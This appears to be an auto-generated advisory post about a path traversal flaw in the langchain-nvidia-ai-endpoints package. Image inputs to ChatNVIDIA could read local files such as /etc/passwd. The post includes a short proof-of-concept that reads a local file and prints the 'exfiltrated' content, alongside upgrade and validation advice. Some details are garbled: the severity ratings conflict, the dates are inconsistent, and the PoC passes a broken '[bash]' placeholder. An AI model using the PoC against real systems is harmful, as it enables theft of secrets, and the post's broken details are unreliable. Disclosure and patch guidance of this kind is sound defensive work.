Listen to this Post
to the Vulnerability
The `langchain-nvidia-ai-endpoints` package, an integration connecting LangChain with NVIDIA AI Foundation Models and NIM microservices, contained a path traversal vulnerability in versions prior to 1.4.2. The flaw resided in the handling of image inputs for Vision Language Model (VLM) requests. When an application passed attacker-controlled image input—such as a file path or document metadata—to the `ChatNVIDIA` or `NVIDIARerank` APIs, the package would accept a raw local filesystem path without validation. This allowed an attacker to supply a path like `/etc/passwd` or ../../sensitive.txt. The vulnerable code would then read the contents of that local file, encode it as a base64 data URI, and include it in the outbound HTTP request sent to the configured NVIDIA or NIM model endpoint. Because the application process often has read access to configuration files, environment variables, or sensitive documents, the attacker could exfiltrate these secrets through the model’s response or via side channels. The vulnerability was assigned CWE-22 (Path Traversal) and a CVSS 3.1 score of 7.5 (High), reflecting the network-based attack vector with no privileges or user interaction required, but with high confidentiality impact. The issue was resolved in version 1.4.2, which now rejects raw local filesystem paths and only permits remote URLs, `data:image/…;base64,…` URIs, or supported asset/file IDs. Applications that never used VLM image inputs or only passed trusted references were not affected.
DailyCVE Form:
Platform: PyPI
Version: <1.4.2
Vulnerability: Path Traversal
Severity: Medium
date: 2026-09-24
Prediction: 2026-06-23
What Undercode Say:
Analytics:
Check if your installed version is vulnerable
pip show langchain-nvidia-ai-endpoints | grep Version
Expected output for vulnerable: Version: 1.4.1 or lower
Verify the patch by attempting to pass a local path
python -c "
from langchain_nvidia_ai_endpoints import ChatNVIDIA
llm = ChatNVIDIA(model='nvidia/llama-3.2-nv-vision-1b-v1')
This should raise an error in >=1.4.2
try:
llm.invoke({'image_url': '/etc/passwd'})
print('VULNERABLE: local file accepted')
except Exception as e:
print('PATCHED: local file rejected -', e)
"
Exploit: (Educational Purposes!)
Educational proof-of-concept: reading a local file via VLM image input
Only run in isolated, authorized environments.
from langchain_nvidia_ai_endpoints import ChatNVIDIA
import base64, os
TARGET_FILE = "/etc/hostname" Replace with any readable file
llm = ChatNVIDIA(
model="nvidia/llama-3.2-nv-vision-1b-v1",
api_key="your-nvidia-api-key",
base_url="https://integrate.api.nvidia.com/v1"
)
The vulnerable version reads the file and embeds it in the request.
payload = {"image_url": TARGET_FILE}
response = llm.invoke([{"role": "user", "content": [bash]}])
print("Exfiltrated content (may appear in model response):", response.content)
Protection: from this CVE
Upgrade to the patched version
pip install --upgrade "langchain-nvidia-ai-endpoints>=1.4.2"
If upgrading is not immediately possible, enforce input validation:
python -c "
import re
def is_safe_image_input(value):
if re.match(r'^https?://', value): return True
if re.match(r'^data:image/', value): return True
if re.match(r'^[a-f0-9-]{36}$', value): return True asset/file ID pattern
return False
Reject any input that is a local filesystem path
"
Run the application with least-privilege filesystem access (e.g., via containers, AppArmor, or restricted service accounts) so that even if a path is accepted, the process cannot read sensitive files.
Impact:
An attacker who can control VLM image inputs in a vulnerable application can read any file accessible to the application process. This may lead to disclosure of API keys, database credentials, configuration files, or proprietary data. The vulnerability requires no authentication or user interaction and can be exploited over the network, making it a serious risk for applications that expose VLM image inputs to untrusted users.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
